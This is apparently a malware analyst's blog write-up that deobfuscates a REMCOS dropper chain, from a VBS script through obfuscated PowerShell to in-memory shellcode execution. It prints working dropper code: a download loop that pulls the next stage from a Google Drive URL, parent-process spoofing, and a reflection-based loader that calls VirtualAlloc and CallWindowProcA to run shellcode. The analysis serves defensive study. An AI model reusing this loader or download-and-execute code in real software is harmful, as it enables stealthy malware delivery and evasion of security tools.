← ALL POSTS

Lowlevel Windows Functions in Powershell - REMCOS Dropper

19.07.2026 Remcos Powershell VBS deobfuscation dropper fileless
sha256 a9ab393275643769579674ba78b285a6305e8e6795b1466a49f782cb83e8802b

Overview

Today’s sample starts out as a vbs script sample.vbs. The script builds a powershell payload, that is obscured by a replace logic with some keywords and symbols. The Powershell Script is obfuscated with a custom decoding function that relies on base64 and a rotating XOR-cipher. The script downloads the next stage from Google Drive, a section of the downloaded data is again a powershell script using the same obfuscation. This last stage uses some low level Windows Functions, so it doesn’t need to import suspicious functions. The stage then loads a different section from the datablock, containing shellcode into memory and executes it.

Stage 1 - VBS Script

The first thing that I noticed after opening the script were a lot of readable but gibberish comments

'Heave. skindkravers156 tweesh freonernes untrafficked
'Fornuftsvsener! samkara frituregrydens: sklmen? indkrvere!

'Italianately, archchampion, blankaalenes, underkastelses. gaullistparti;
'Giaour sportskldtes! nonorthographically ludicroserious: runman!

I think these are supposed to skew the entropy of the file. A second section worth mentioning that isn’t malicious is a signature block at the end.

'regain: luggar
'' SIG '' Begin signature block
'' SIG '' MIIJXAYJKoZIhvcNAQcCoIIJTTCCCUkCAQExDzANBglg
'' SIG '' hkgBZQMEAgIFADCBhwYKKwYBBAGCNwIBBKB5MHcwMgYK
...
...
'' SIG '' PrEc6ZBUctR0lE43pEEvJ7Ue0r1eWzdd
'' SIG '' End signature block

So after stripping all the comments, I started renaming variables to make refactoring it easier. The script was going to some lengths to not contain any suspicious strings. It assembles the strings from different shards and one of my favourites is this one:

Set FileSystem = CreateObject("Scripting.FileSystemObject")

Loop
If FileSystem.FileExists("C:\windows\SYSTEM32\CALC.exe") Then
Set TextFile2 = FileSystem.OpenTextFile("C:\windows\notepad.exe", 1)
End If

some_read_data = TextFile2.ReadAll
Panegyrik = instr(1,some_read_data,"s")

str_s = mid(some_read_data,Panegyrik,1)

This s is later used to assemble the string “powershell.exe”.

The script also builds a powershell Payload. vbs

Payload = Payload & "funHumoledtilongarn Glipzlongarrp { hoimulzlongarveraxisilentneaxisaxisekldningaxisgenaxistandenaxis = Get-Date; [vlongarid]hoimulzlongarveraxisilentneaxisaxisekldningaxisgenaxistandenaxis };Get-ServiHumolede | Out-Null;hoimulzendplay=51664-51664;Get-Hlongaraxist |"
Payload = Payload & " SeleHumoledt-ObjeHumoledt -Firaxist 1 | Out-Null;hoimulzunaHumoledhievable=-39052+45052;funHumoledtilongarn WlongarbblyZlongarnk { hoimulzflongarnduegryden = Get-Randlongarm; [vlongarid]hoimulzflongarnduegryden };funHumoledtilongarn udaxiskillelaxiser (hoimulzlongarveraxisil"
...

There are some strings getting replaced in the payload.

  • “axis”: “s”
  • “longar”: “o”
  • “hoimulz”: ”$”
  • “Humoled”: “c”

The powershell payload is invoked via ShellExecute.

Stage 2 - Powershell Payload

The Powershell Script was loaded with unnecessary functions and calls.

function Glipzorp { 
    $oversilentnessekldningsgenstandens = Get-Date;
    [void]$oversilentnessekldningsgenstandens 
};

On first look I didn’t see anything invoking anything or any base64 decoding logic, even though there were a lot of base64 encoded strings being passed to a function called Underbudgetter

Function Underbudgetter ($faster,$lystgaarden=0){
    $oversilentnessekldningsgenstandens = 'frob' | Out-Null;
    $grundfstede=rkebiskopperne(@(174,171,208,220,228,206,215,199,197,155,168,180,219,212,192,170,194,225,211,159,153,166,220,211,215,220,208,141,119,206,194,225,226,206,215,124));
    $spinidentate=@(Asphodeline ($grundfstede));
    [void](Get-Date);

    For($eddoes=0; $spinidentate[$eddoes] -ne $overscrupulosity239; $eddoes++){
        $spinidentate[$eddoes] = udskillelser $spinidentate[$eddoes] $mesophryon[$eddoes%7];
        $madrases = 'zib'
    }

    $knurled=rkebiskopperne(@(128,210,208,215,220,137,192,182,208,194,224,201,198,194,119,219,209,215,220,210,201,184,214,213,207,226,206));
    [void](Get-Host);
    $ergonovine=Asphodeline ($knurled);

    if ($lystgaarden) { 
        $oversilentnessortsaneringer = 'blap' | Out-Null;
        Asphodeline $ergonovine
    }else {
        [void](Get-Process);
        $ergonovine
    }
    $nightmare = 'frob' | Out-Null
};
Underbudgetter 'ZkZRTkY+DD0MDhkdSSsHSFBeQFlecz8IAFhdXnMQV1pVSRclUlBbXEdVekgmCw0CCnxaUV9eWVRjWUEoBxsANQcZQV9cV31Y';

After some more careful reading I found what was probably going to be the point where code was going to be executed.

function Asphodeline ($personas) {
    [void](Get-Service);
    &($refektoriets) $personas
};

I refactored the entire script, renaming everything so it was easier to understand the logic I found that the Asphodeline function took the string it used to run things from a second function, originally called rkebiskopperne.

function func2 ($arg1) { 
    
    do {
        $arg1[$counter] -= $mesophryon[$counter%7];

        $out+=[char]$arg1[$counter];

        $counter++
    } while  ($arg1[$counter])
    # for all entries in arg1, subtract the entry i%7 from mesophryon from the element
    $out # return all the numbers as chars as a concatenated string
};

The function uses the Key mesophryon to get a string from the weird number arrays.

That how the previous functions gets iex from func2 @(156,173,185);

The next step was to decode the arrays used in the Underbudgetter function and in the decryption function it uses. I decoded the Arrays and only after I renamed all the variables, because the decoded strings were of course using the original naming.

function xor_decode($arg1, $arg2) {
    iex $arg1 -bxor $arg2
}

# malicious: base64-decodes $raw, XORs every byte with the rotating
# key, and (if $execute) executes the result. 

Function malicious($raw, $execute = 0) {
    $payload = [Convert]::FromBase64String($raw)

    for ($i = 0; $payload[$i] -ne $null; $i++) {
        $payload[$i] = xor_decode $payload[$i] $mesophryon[$i % 7]
    }

    $payload_string = iex -join [char[]]$payload

    if ($execute) {
        iex $payload_string   # actually execute the decoded string
    } else {
        $payload_string              # just hand back the decoded string
    }
}

I wrote a small python script to decode the base64 + xor cipher

import base64

key = [83,104,97,110,110,105,101]

while True:
    blob = input("?: ")
    blob_bytes = base64.b64decode(blob)
    out = ""
    for i, b in enumerate(blob_bytes):
        out += chr(blob_bytes[i] ^ key[i%7])

    print(out)

The first calls without the execution flag 1 are the needed data for the retrieval of the next stage.

# $fishback = malicious 'ZkZRTkY+DD0MDhkdSSsHSFBeQFlecz8IAFhdXnMQV1pVSRclUlBbXEdVekgmCw0CCnxaUV9eWVRjWUEoBxsANQcZQV9cV31Y'
$user_agent = "5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"

# $banketternes = malicious 'OxwVHh1TSnwMEwcYDEs0Bw4JAgxLMAcMQRsKWjYQEQEcHVg3BxYAAgYEN04IClNYDwEvEzEbBhcBDCQCXjkxBRwXGiNQBCEBJDgsGjYLOQI='
$urls = "https://drive.google.com/uc?export=download&id=1jRGr_uorRdEl0PTVtvtM9ariEVBsSXQc"

# $forfrdeliges = malicious 'HhsZAwJbSwANExgLGz0eJCk6OjlLZUZR'
$http_server = "Msxml2.ServerXMLHTTP.6.0"

# $katalogiseringerne = malicious 'FC01'
$request_type = "GET"

# $oversilentnesseriberi90 = malicious 'BhsEHEMoAjYGFQ=='
$str_user_agent = "User-Agent"

# $teglenes = malicious 'bQ=='
$seperator = ">"   

This is followed by calls with the execution flag set. For better readability this is just the decoded and refactored version.

$global:drop_path = $env:appdata + $file_path
$urls = $urls.split($seperator)
$url = $urls[0]

$global:server = New-Object -Com $http_server # (MSXML2.ServerXMLHTTP.6.0 COM object)
$check = (Test-Path $drop_path)
while (!$check) {
    $server.open($request_type, $url, $false)
    $server.setRequestHeader($str_user_agent, $user_agent)
    $server.send()
    $status = $server.status -eq 200

    if ($status) {
        [byte[]]$global:body = $server.responseBody
        sc $drop_path $body -Encoding Byte
    }

    Sleep(4) 
    $check = (Test-Path $drop_path)
    $global:next = $global:beredskabskorpsets209++ % $macrourid.count # I could not resolve this variable
    
    $url = $urls[$next]
}

This code Block tries to download the next stage and save it to disk. If it fails it tries the next given url, which my sample didn’t contain.

Next thing I found really interesting is that the downloaded file is a bit large and the script only uses a small subregion of the file. When working on this I didn’t realize that the rest of the file was going to be used again, but just thought that it was random data to throw off scanners.

$offset = 146170       # offset into the decoded drop-file content
$length = 19548     # length of the embedded stage-2 blob

$global:stage2_b64 = gc $drop_path
$global:stage2_raw = [Convert]::FromBase64String($stage2_b64)
$global:stage2_text = [Text.Encoding]::ASCII.GetString($stage2_raw)
$global:stage2 = $stage2_text.substring($offset, $length)

iex stage2

The next stage contains again a ton of useless comments, now in danish. It uses the same method as before to encode variables and function calls. I am going to skip the refactoring and just jump into the final source code. I am not going to explain every single line, but highlight the key features and behaviours.

The script gets the source code of the previous stage by reading the CommandLine arguments with which it was run.

$global:launch_command=((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split $str_quote
$global:original_source=$launch_command[$launch_command.count-2]

It enumerates if it was run in x64 or x32.

$global:is_x64=([IntPtr]::size -eq 8)

It uses this information to adapt and for x64 System it tries to spoof its parent process via COM objects.

if($is_x64){
    $payload=$str_quote+$original_source+$str_quote
    while(!$shell_item) {
        $global:shell_obj_type=[Type]::GetTypeFromCLSID($clsid_shell_obj_type)
        $global:shell_obj_instance=[Activator]::CreateInstance($shell_obj_type)
        $global:shell_item=$shell_obj_instance.Item()

        if (!$shell_item) {
            $unstifled='';
            $shell_item = $shell_obj_instance.Item(0)
        }
        if (!$shell_item) {
            saps $str_explorer_exe
            Sleep(1)
        }
    }
    $shell_item.Document.Application.ShellExecute($pwsh_path_env,$payload,$usr_profile,$null,0)
    iex "exit"
}

The most important feature is a function that gets the function pointer of a function from a specific module.

function get_function ($module, $function) {
    $global:domain_assemblies=[AppDomain]::CurrentDomain.GetAssemblies()

    $global:systemdll = ($domain_assemblies | ? {
        if($_.Location){$_.Location.Split("\")[-1].Equals("System.dll")} })
        .GetType("Microsoft.Win32.UnsafeNativeMethods")
    
    $global:getProcAdress = $systemdll.GetMethod(
        "GetProcAddress", [Type[]]@("Runtime.InteropServices.HandleRef","string"))

    return $getProcAdress.Invoke(
        $null, 
        @([Runtime.InteropServices.HandleRef](
            New-Object "Runtime.InteropServices.HandleRef"(
                (New-Object IntPtr), 
                ($systemdll.GetMethod("GetModuleHandle")).Invoke($null, @($module))
            )
        ), $function)
    )
}

To complement this function the script also uses a function to get delegate types for the Windows Functions.

function get_delegate_type ([Parameter(Position = 0)] [Type[]] $types,[Parameter(Position = 1)] [Type] $type = [Void]) {
    
    $global:bruneierens=[AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object Reflection.AssemblyName("ReflectedDelegate")), 
        "Run"
    ).DefineDynamicModule(
        "InMemoryModule", 
        $false
    ).DefineType(
        "MyDelegateType", 
        "Class, Public, Sealed, AnsiClass, AutoClass", 
        [MulticastDelegate]
    )

    $bruneierens.DefineConstructor(
        "RTSpecialName, HideBySig, Public", 
        -15135,
        $types
    ).SetImplementationFlags("Runtime, Managed")
    
    $bruneierens.DefineMethod(
        "Invoke ","Public, HideBySig, NewSlot, Virtual",
        $type,$types
    ).SetImplementationFlags("Runtime, Managed")
    
    return $bruneierens.CreateType()
}

The Syntax to get a usable function is.

$global:marshal=[Runtime.InteropServices.Marshal]

$global:virt_alloc = $marshal::GetDelegateForFunctionPointer(
    (get_function "kernel32" "VirtualAlloc"), 
    (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
)

The script allocates two overlapping regions, one with rw and one with rwx rights.

$global:region1=$virt_alloc.Invoke(0,7632,$num_12288,$num64)

$global:region2=$virt_alloc.Invoke(0,29888512,$num_12288,$num4)

$marshal::Copy($stage2_raw,$zero,$region1,7632) # 


$marshal::Copy($stage2_raw,7632,$region2,138538)

$global:callwindowproca = $marshal::GetDelegateForFunctionPointer(
    (get_function "USER32" "CallWindowProcA"), 
    (get_delegate_type @([IntPtr],[IntPtr],[IntPtr],[IntPtr],[IntPtr])([IntPtr]))
)

$callwindowproca.Invoke($region1,$region2,$nt_prot_virt_mem,$nt_prot_virt_mem,$zero)

The stage2_raw is a variable defined in the previous stage, it’s the entire downloaded data after base64 decoding.

Stage 3

Stage 2 loads the data from before into two different sections. The first one is RWX, it is a loader stub that seems to contain two XOR decryption loops. The shellcode is obfuscated by thousands of useless jumps and useless instructions. I knew that I had to let the program decrypt itself and dump it from memory.

I tried to dump it after placing a breakpoint after the loop.

loader

But sadly I wasn’t able to dump the actual binary. To at least get some information about the malware, I loaded it into AnyRun. The later deployed stage was flagged as Remcos.

Conclusion

This analysis was quite interesting, because I have not seen this many evasion techniques used at once. The get_function and get_delegate_type were really interesting. I hope I come back to this sample, after I practiced a bit more. I really want to break open Remcos and go through it a bit.